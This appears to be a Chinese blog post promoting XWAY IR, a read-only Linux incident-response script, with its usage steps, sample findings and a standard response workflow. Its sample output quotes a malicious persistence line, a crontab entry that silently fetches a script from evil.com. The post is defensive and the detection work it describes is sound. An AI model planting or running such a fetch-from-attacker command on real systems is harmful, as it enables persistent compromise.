上周一个朋友慌慌张张找我:服务器 CPU 飙到 300%,网站打不开,SSH 连上去敲 `top` 一看,一个叫 `xmrig` 的进程占满了所有核。
“怎么搞的?”他问。
“先别重装系统,跑个排查再说。”
我给他发了一个 GitHub 上的脚本——XWAY IR,跑完 3 分钟,挖矿进程、可疑外联、SSH 后门全列出来了。风险评分 68 分,高危失陷。
01 为什么需要应急响应脚本?
服务器被入侵,最怕的不是入侵本身,而是你慌了。
一慌就容易乱操作:
- 先重启 —— 内存里的进程没了,证据也没了
- 先 `kill -9` —— 进程杀掉,但 crontab 里的自动拉起还在
- 先重装系统 —— 连入侵入口都没找到,新系统一样被攻破
蓝队应急响应的核心原则:先取证,后处置。
但问题是,大多数运维人员不是安全专家,不知道排查要看哪些地方。更别说在几十台服务器上快速定位问题。
XWAY IR 就是为解决这个问题而生——一个脚本,37 个检查模块,零外部依赖,跑完出报告、出评分、出横向移动证据链。
02 这个脚本能做什么?
先看一组数据:
- 37 个检查模块,覆盖挖矿、Webshell、Rootkit、横向移动、Java 内存马、容器逃逸等主流场景
- 7 类隧道检测,SSH 反向隧道、NC 监听、Socat 全部扫出来
- 6 类暴力破解分析,从 auth.log 里提取爆破痕迹
- 风险评分体系,从 INFO 到 CRITICAL 四档
- 攻击路径时间线,按文件修改时间排序,叙事化输出事故链条
说人话就是:跑完这个脚本,你大概知道服务器被怎么了、被用来干嘛了、攻击者有没有继续跳板到其他机器。
03 怎么用?三分钟上手
第一步:下载脚本
“`bash
curl -fsSL https://raw.githubusercontent.com/A4n9g7e2l/Xway/main/xway_ir.sh -o xway_ir.sh
“`
第二步:看一眼内容(强烈建议)
“`bash
less xway_ir.sh
“`
安全工具也要注意安全,跑之前看一眼总没错。
第三步:运行排查
“`bash
sudo bash xway_ir.sh
“`
就这么简单。推荐用 `sudo`,因为进程排查和 SSH 公钥扫描需要 root 权限才能看全。
第四步:保存日志
“`bash
sudo bash xway_ir.sh 2>&1 | tee -a ir_report_$(hostname)_$(date +%Y%m%d_%H%M%S).log
“`
04 脚本到底查了什么?
跑完脚本,你会看到类似这样的输出:
进程排查 — 挖矿进程、Web 进程派生 Shell、可疑执行
“`
[!] CRIT 发现挖矿进程: xmrig (PID 12345, CPU 95%)
[!] HIGH 发现 nginx 派生 bash: PID 67890
“`
网络外联 — 可疑 C2 端口、异常已建立连接
“`
[!] CRIT 发现可疑外联: 10.0.0.5:4444 (ESTABLISHED)
[!] HIGH 发现疑似 C2 连接: 1.2.3.4:31337
“`
持久化排查 — Crontab 异常、Systemd 服务后门
“`
[i] MED 发现 crontab 含 wget 下载: /5 * wget -q -O- http://evil.com/update.sh
“`
Rootkit 检测 — LKM 隐藏模块、ld.so.preload 劫持
“`
[!] CRIT 发现 /etc/ld.so.preload 存在!100% 失陷特征
“`
横向移动分析 — 这是脚本最有价值的部分,分三档判定:
- ✅ 未发现横向移动痕迹 — 大概率是初始入侵点
- ⚠️ 证据有限 — 少量可疑痕迹,需进一步排查
- 🔴 高度怀疑已发生横向移动 — 这台主机已被用作跳板
05 真实的案例数据
脚本作者在 GitHub 上贴了一个真实案例:一台被植入 SSH 公钥的云主机,跑完脚本的结论是:
🔴 风险评分 76 分 / CRITICAL 高危失陷 / 横向移动证据 4 条
这台主机已经被攻击者用作跳板机,对内网其他主机发起了攻击。
如果没跑这个脚本,你会怎么做? 大概率是 `kill -9` 挖矿进程、清一下 crontab,然后继续用。但攻击者的 SSH 公钥还在,下次一样进来。
06 配合标准应急流程
脚本虽好,但只是应急响应中的一环。推荐的标准流程是:
“`
隔离 → 取证 → 排查 → 评估 → 修复 → 加固
“`
XWAY IR 的作用在第三步,帮你快速定位问题。前后还需要配合:
- 隔离:拔网线、安全组断网
- 取证:avml 内存 dump、dd 磁盘镜像
- 修复:清除恶意进程、crontab、SSH 公钥
- 加固:关闭密码登录、加 fail2ban、异地登录告警
07 几点提醒
脚本不修改任何文件 — 完全只读,跑完不留下痕迹。但会读取 `/etc/shadow`、`authorized_keys` 等敏感文件,运行输出的日志要妥善保管。
不是万能的 — 高级 Rootkit 会隐藏自己的内核模块,`lsmod` 看不到。纯内存 Webshell 无文件落地,也查不到。这些需要配合 `chkrootkit`、`rkhunter`、`arthas` 等专业工具。
误报需要人工判断 — 比如 NTP 配置的 `pool.ntp.org` 可能被误判为挖矿特征,安全研究人员的工具目录可能被标为可疑。脚本做了误报控制,但最终判断还是靠人。
应急响应不是靠运气,而是靠工具和流程。把排查交给脚本,把判断留给自己。
数据来源:GitHub — A4n9g7e2l/Xway(https://github.com/A4n9g7e2l/Xway)
铁三角团队 · 峰哥 | write | tech
共同成长 💪

峰网博客